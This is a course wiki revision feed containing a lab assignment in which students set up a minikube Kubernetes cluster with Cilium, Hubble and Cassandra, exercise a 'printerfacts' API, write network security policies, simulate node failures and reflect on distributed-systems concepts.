&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact: Get a random fact from the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact/keys: Get a list of all fact keys in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Get the fact with the key &amp;lt;key&amp;gt; in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;POST&amp;lt;/code&amp;gt; /fact: Create a new fact where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g. Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;PUT&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Modify the fact with key &amp;lt;key&amp;gt; in the database where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g.  Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;DELETE&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Delete the fact with key &amp;lt;key&amp;gt; from the database&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Try out each of the printerfacts endpoints. Note that you can specify the HTTP request type using &amp;lt;code&amp;gt;curl -X &amp;amp;lt;type&amp;amp;gt;&amp;lt;/code&amp;gt; (for example, &amp;lt;code&amp;gt;curl -X POST&amp;lt;/code&amp;gt; to send a POST request). You can send a JSON body as a payload by using &amp;lt;code&amp;gt;curl -H &#039;Content-type: application/json&#039; -d &#039;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&#039;&amp;lt;/code&amp;gt; where you replace the &amp;lt;code&amp;gt;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&amp;lt;/code&amp;gt; part with your JSON object.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Let’s use Cilium and Hubble to observe dataflows between our Cassandra database and the printerfacts service. To do this, run the following Hubble command: &amp;lt;code&amp;gt;hubble observe    --label component=server --label component=printerfacts -f&amp;lt;/code&amp;gt;. Make a few requests to the printerfacts service, exercising various API endpoints. Try and make sense of some of the network traffic you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;In an effort to secure your cluster, you decide to employ a Cilium network policy that locks down the printerfacts service. First, download the example security policy by running &amp;lt;code&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/printerfacts-policy.yml&amp;lt;/code&amp;gt;, then run &amp;lt;code&amp;gt;kubectl apply -f policy.yml&amp;lt;/code&amp;gt; to apply it. The example policy allows GET requests to &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact/keys&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;/fact/&amp;amp;lt;key&amp;amp;gt;&amp;lt;/code&amp;gt;. Examine the policy file and make sure you understand how it works.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Try out your policy by making a few valid requests followed by some invalid ones. While your policy is applied, try using Hubble to observe the HTTP traffic by running &amp;lt;code&amp;gt;hubble observe --protocol http&amp;lt;/code&amp;gt;. Optionally, try extending the policy to make some other valid routes work (e.g. PUT, POST, and DELETE requests).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You may wish to consult the [https://docs.cilium.io/en/v1.10/gettingstarted/http/ Cilium docs]&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Now that you’re familiar with printerfacts, it’s time to simulate a node failure. Since both printerfacts and Cassandra are replicated across multiple nodes in our cluster, taking one of them down should not impact either service.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Let’s first try a planned node disruption. This kind of disruption might occur when a cluster administrator wants to take a node down for maintenance, for example to perform a kernel update. Start by draining node &amp;lt;code&amp;gt;minikube-m02&amp;lt;/code&amp;gt; with the command &amp;lt;code&amp;gt;kubectl drain minikube-m02 --ignore-daemonsets&amp;lt;/code&amp;gt;. Now try interacting with the printerfacts service as before. Make note of any unusual behaviour and try to come up with a best-guess explanation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Now you can bring your node back up using &amp;lt;code&amp;gt;kubectl uncordon minikube-m02&amp;lt;/code&amp;gt;. Once your node has been uncordoned, it should be ready for scheduling again. Try scaling up the printerfacts deployment to get some pods running on the node again.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Finally, let’s simulate a total node failure. To do this, we will kill the underlying kubelet for our node, which is running on your system as a Docker container. Use the &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; command to find the container ID that corresponds to your node, then kill it using &amp;lt;code&amp;gt;docker kill&amp;lt;/code&amp;gt;. Repeat the same experiments from before, documenting any unusual behaviour you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Interacting with Cassandra (Hard) ==&lt;br /&gt;
&lt;br /&gt;
Note that this part of the experience is only required if you wish to achieve a grade of A- or higher. You can also choose to skip one of the two questions here, but doing so will likely impact your grade.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write a Cilium security policy that allows only SELECT and INSERT queries to the &amp;lt;code&amp;gt;pfacts.facts&amp;lt;/code&amp;gt; table in Cassandra. All other queries should be denied. Apply your policy and demonstrate how it works using a few examples queries. You may wish to consult [https://docs.cilium.io/en/v1.10/gettingstarted/cassandra/#how-to-secure-a-cassandra-database the Cilium policy docs].&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You can use this [https://homeostasis.scs.carleton.ca/~will/cassandra-policy.yml policy template] as a starting point.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write and deploy your own containerized application as a replicated deployment to interact with the Cassandra database in some interesting way. You can choose to extend the printerfacts schema or come up with your own schema, depending on your preference. Be sure to explain how your application deals with Cassandra’s consistency model in a replicated cluster. In order to achieve points for this question, you &#039;&#039;&#039;must&#039;&#039;&#039; make some meaningful modifications to the database. Just consuming the existing data in a new way is not sufficient.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 1: Cassandra allows the client to choose their consistency level when making queries. Hint 2: Cassandra queries are made in CQL, a NoSQL query language that is similar to but not totally compatible with SQL. Hint 3: You can spawn a &amp;lt;code&amp;gt;cqlsh&amp;lt;/code&amp;gt; session to issue test CQL queries like &amp;lt;code&amp;gt;kubectl exec -it cassandra-0 -- cqlsh&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with multi-node Kubernetes, Cilium, and Cassandra in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23541</id>
		<title>DistOS 2021F Experience 2</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23541"/>
		<updated>2021-11-27T01:08:30Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Touch experience 2&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
In this experience, you will be playing with a multi-node Kubernetes cluster simulated using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;, running the [https://docs.cilium.io/en/v1.10/ Cilium CNI], a replicated [https://cassandra.apache.org/doc/latest/ Apache Cassandra] database and an updated version of our beloved “printerfacts” service that consumes facts stored in the Cassandra database. As usual, you may wish to consult the relevant documentation if you get stuck. Links to documentation will be provided along with hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screenshots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The official due date for the experience report is December 10th (the last day of class), but we will continue to accept submissions up until the date of the final exam if you need extra time.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar Cilium, Cassandra, and a multi-node K8s cluster.&lt;br /&gt;
# A harder challenge that involves programming a client to interact with the Cassandra database and writing a custom Cilium security policy to lock down your cluster.&lt;br /&gt;
# An opportunity to reflect on this experience and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
Students are expected to complete Part 1 and Part 3 to get a grade of at most a B+. &#039;&#039;&#039;Part 2 is optional&#039;&#039;&#039;, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Setting Up Your Environment ==&lt;br /&gt;
&lt;br /&gt;
For this experience, a new VM image has been provided for you. It has a larger disk size, more RAM, and a batteries-included installation of the [https://github.com/cilium/cilium-cli Cilium] and [https://github.com/cilium/hubble Hubble] CLI. First, &#039;&#039;&#039;delete your old instance&#039;&#039;&#039; using the OpenStack web console, then create a new one. You can follow the [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack same instructions as before], except replace the &amp;lt;code&amp;gt;COMP4000-studentvm-v1&amp;lt;/code&amp;gt; image with &amp;lt;code&amp;gt;COMP4000-studentvm-v2&amp;lt;/code&amp;gt;. When selecting your flavour, make sure you pick the flavour with &#039;&#039;&#039;16GiB of disk space and 8GB of RAM&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Once your VM is set up, SSH into it using your preferred SSH client. You should probably be working with at least 2 terminals for the rest of this experience. After SSHing into your instance, run the following command to spin up a multi-node k8s cluster: &amp;lt;code&amp;gt;minikube start -n3 --cni=cilium&amp;lt;/code&amp;gt;. This might take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
Verify your cluster has started correctly using &amp;lt;code&amp;gt;minikube status&amp;lt;/code&amp;gt;. You should see something like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;minikube&lt;br /&gt;
type: Control Plane&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
apiserver: Running&lt;br /&gt;
kubeconfig: Configured&lt;br /&gt;
&lt;br /&gt;
minikube-m02&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
&lt;br /&gt;
minikube-m03&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cilium and Hubble ===&lt;br /&gt;
&lt;br /&gt;
Once your cluster is running, you can configure the cluster to use Cilium and Hubble. Due to some minikube and Cilium quirks, we need to uninstall the default version of Cilium installed by minikube and reinstall it using the Cilium CLI. You can do so with the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cilium uninstall &amp;amp;amp;&amp;amp;amp; cilium install &amp;amp;amp;&amp;amp;amp; cilium hubble enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
This may take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
You can run the command &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt; to check the status of your Cilium installation. Once everything has installed correctly, you should see something like the following when running &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ cilium status&lt;br /&gt;
    /¯¯\&lt;br /&gt;
 /¯¯\__/¯¯\    Cilium:         OK&lt;br /&gt;
 \__/¯¯\__/    Operator:       OK&lt;br /&gt;
 /¯¯\__/¯¯\    Hubble:         OK&lt;br /&gt;
 \__/¯¯\__/    ClusterMesh:    disabled&lt;br /&gt;
    \__/&lt;br /&gt;
&lt;br /&gt;
Deployment        cilium-operator    Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
Deployment        hubble-relay       Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
DaemonSet         cilium             Desired: 3, Ready: 3/3, Available: 3/3&lt;br /&gt;
Containers:       cilium             Running: 3&lt;br /&gt;
                  cilium-operator    Running: 1&lt;br /&gt;
                  hubble-relay       Running: 1&lt;br /&gt;
Cluster Pods:     2/2 managed by Cilium&lt;br /&gt;
Image versions    cilium             quay.io/cilium/cilium:v1.10.5: 3&lt;br /&gt;
                  cilium-operator    quay.io/cilium/operator-generic:v1.10.5: 1&lt;br /&gt;
                  hubble-relay       quay.io/cilium/hubble-relay:v1.10.5: 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cassandra ===&lt;br /&gt;
&lt;br /&gt;
We will be using the &amp;lt;code&amp;gt;helm&amp;lt;/code&amp;gt; package manger to install Cassandra in our k8s cluster. To do so, run the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/cassandra.yml&lt;br /&gt;
helm repo add bitnami https://charts.bitnami.com/bitnami&lt;br /&gt;
helm install cassandra bitnami/cassandra -f cassandra.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
You can verify the status of your Cassandra installation using &amp;lt;code&amp;gt;kubectl get pods --watch&amp;lt;/code&amp;gt;. Wait until both &amp;lt;code&amp;gt;cassandra-0&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cassandra-1&amp;lt;/code&amp;gt; show &amp;lt;code&amp;gt;1/1&amp;lt;/code&amp;gt; under &amp;lt;code&amp;gt;READY&amp;lt;/code&amp;gt;. This might take a few minutes. The output should look something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             4m2s&lt;br /&gt;
cassandra-1               1/1     Running   0             2m8s&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Printerfacts ===&lt;br /&gt;
&lt;br /&gt;
The printerfacts service from last experience has received an upgrade to work with our new Cassandra database. First, run the migrations (provided as a batch job) to initialize the Cassandra database and populate it with some facts about printers:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/migrations.yml&lt;br /&gt;
kubectl apply -f migrations.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
After applying the migrations, you’re ready to deploy the printerfacts service:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/deploy.yml&lt;br /&gt;
kubectl apply -f deploy.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
Verify that printerfacts has been correctly deployed with &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt;. You should see something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             31m&lt;br /&gt;
cassandra-1               1/1     Running   0             30m&lt;br /&gt;
server-85f9f4465b-9vhn9   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-b7s2n   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bvgqs   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bwf42   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-gn5sm   1/1     Running   0             38m&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finally, run &amp;lt;code&amp;gt;minikube tunnel&amp;lt;/code&amp;gt; in a separate terminal to set up port forwarding for our &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; API objects. This will enable you to interact with printerfacts from your VM, rather than needing to spin up a client pod like last time.&lt;br /&gt;
&lt;br /&gt;
Verify that it worked correctly by running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; (this is the IP you will use to talk to printerfacts). Note that depending on your specific configuration, you may need to SSH into minikube using &amp;lt;code&amp;gt;minikube ssh&amp;lt;/code&amp;gt; before you can access the load balancer service. If your curl command hangs forever, this may be the issue.&lt;br /&gt;
&lt;br /&gt;
= Tasks =&lt;br /&gt;
&lt;br /&gt;
== Part 1: Multi-Node Kubernetes, Cilium, and Cassandra (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Thanks the Cilium CNI, your Kubernetes clusters has been outfitted with new eBPF superpowers. In particular, Cilium installs a series of eBPF programs into your (VM’s) kernel which can be used to monitor traffic between containers, pods, and nodes, as well as enforce L4–L7 security policy. To test out your new superpowers, run &amp;lt;code&amp;gt;cilium hubble port-forward&amp;amp;amp;&amp;lt;/code&amp;gt; followed by &amp;lt;code&amp;gt;hubble observe&amp;lt;/code&amp;gt;. What is all that output? Can you make sense of any of it?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Try checking &amp;lt;code&amp;gt;hubble --help&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;hubble observe --help&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: [https://docs.cilium.io/en/v1.10/gettingstarted/hubble/ Check out the Hubble docs]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Unlike last time, our cluster consists of three nodes rather than just one. Try running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; a few times and notice that the output now includes a node name in addition to a pod name. Do you notice any patterns in the output? Compare what you see with the output from running &amp;lt;code&amp;gt;kubectl get pods -o wide&amp;lt;/code&amp;gt;. Try to come up with an explanation for the distribution of printerfacts pods over the nodes in your cluster.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Have a look at the &amp;lt;code&amp;gt;affinity&amp;lt;/code&amp;gt; section of &amp;lt;code&amp;gt;deploy.yml&amp;lt;/code&amp;gt;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: Have a look at the [https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity relevant documentation].&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 3: If you still can’t get it, an educated guess will suffice.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Printerfacts is now a CRUD app that supports creating, reading, updating, and deleting facts from the Cassandra database. In particular, we now support the following endpoints:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact: Get a random fact from the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact/keys: Get a list of all fact keys in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Get the fact with the key &amp;lt;key&amp;gt; in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;POST&amp;lt;/code&amp;gt; /fact: Create a new fact where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g. Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;PUT&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Modify the fact with key &amp;lt;key&amp;gt; in the database where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g.  Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;DELETE&amp;lt;/code&amp;gt; /fact/&amp;lt;key&amp;gt;: Delete the fact with key &amp;lt;key&amp;gt; from the database&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Try out each of the printerfacts endpoints. Note that you can specify the HTTP request type using &amp;lt;code&amp;gt;curl -X &amp;amp;lt;type&amp;amp;gt;&amp;lt;/code&amp;gt; (for example, &amp;lt;code&amp;gt;curl -X POST&amp;lt;/code&amp;gt; to send a POST request). You can send a JSON body as a payload by using &amp;lt;code&amp;gt;curl -H &#039;Content-type: application/json&#039; -d &#039;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&#039;&amp;lt;/code&amp;gt; where you replace the &amp;lt;code&amp;gt;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&amp;lt;/code&amp;gt; part with your JSON object.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Let’s use Cilium and Hubble to observe dataflows between our Cassandra database and the printerfacts service. To do this, run the following Hubble command: &amp;lt;code&amp;gt;hubble observe    --label component=server --label component=printerfacts -f&amp;lt;/code&amp;gt;. Make a few requests to the printerfacts service, exercising various API endpoints. Try and make sense of some of the network traffic you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;In an effort to secure your cluster, you decide to employ a Cilium network policy that locks down the printerfacts service. First, download the example security policy by running &amp;lt;code&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/printerfacts-policy.yml&amp;lt;/code&amp;gt;, then run &amp;lt;code&amp;gt;kubectl apply -f policy.yml&amp;lt;/code&amp;gt; to apply it. The example policy allows GET requests to &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact/keys&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;/fact/&amp;amp;lt;key&amp;amp;gt;&amp;lt;/code&amp;gt;. Examine the policy file and make sure you understand how it works.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Try out your policy by making a few valid requests followed by some invalid ones. While your policy is applied, try using Hubble to observe the HTTP traffic by running &amp;lt;code&amp;gt;hubble observe --protocol http&amp;lt;/code&amp;gt;. Optionally, try extending the policy to make some other valid routes work (e.g. PUT, POST, and DELETE requests).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You may wish to consult the [https://docs.cilium.io/en/v1.10/gettingstarted/http/ Cilium docs]&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Now that you’re familiar with printerfacts, it’s time to simulate a node failure. Since both printerfacts and Cassandra are replicated across multiple nodes in our cluster, taking one of them down should not impact either service.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Let’s first try a planned node disruption. This kind of disruption might occur when a cluster administrator wants to take a node down for maintenance, for example to perform a kernel update. Start by draining node &amp;lt;code&amp;gt;minikube-m02&amp;lt;/code&amp;gt; with the command &amp;lt;code&amp;gt;kubectl drain minikube-m02 --ignore-daemonsets&amp;lt;/code&amp;gt;. Now try interacting with the printerfacts service as before. Make note of any unusual behaviour and try to come up with a best-guess explanation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Now you can bring your node back up using &amp;lt;code&amp;gt;kubectl uncordon minikube-m02&amp;lt;/code&amp;gt;. Once your node has been uncordoned, it should be ready for scheduling again. Try scaling up the printerfacts deployment to get some pods running on the node again.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Finally, let’s simulate a total node failure. To do this, we will kill the underlying kubelet for our node, which is running on your system as a Docker container. Use the &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; command to find the container ID that corresponds to your node, then kill it using &amp;lt;code&amp;gt;docker kill&amp;lt;/code&amp;gt;. Repeat the same experiments from before, documenting any unusual behaviour you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Interacting with Cassandra (Hard) ==&lt;br /&gt;
&lt;br /&gt;
Note that this part of the experience is only required if you wish to achieve a grade of A- or higher. You can also choose to skip one of the two questions here, but doing so will likely impact your grade.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write a Cilium security policy that allows only SELECT and INSERT queries to the &amp;lt;code&amp;gt;pfacts.facts&amp;lt;/code&amp;gt; table in Cassandra. All other queries should be denied. Apply your policy and demonstrate how it works using a few examples queries. You may wish to consult [https://docs.cilium.io/en/v1.10/gettingstarted/cassandra/#how-to-secure-a-cassandra-database the Cilium policy docs].&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You can use this [https://homeostasis.scs.carleton.ca/~will/cassandra-policy.yml policy template] as a starting point.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write and deploy your own containerized application as a replicated deployment to interact with the Cassandra database in some interesting way. You can choose to extend the printerfacts schema or come up with your own schema, depending on your preference. Be sure to explain how your application deals with Cassandra’s consistency model in a replicated cluster. In order to achieve points for this question, you &#039;&#039;&#039;must&#039;&#039;&#039; make some meaningful modifications to the database. Just consuming the existing data in a new way is not sufficient.&amp;lt;/p&amp;gt;&lt;br /&gt;
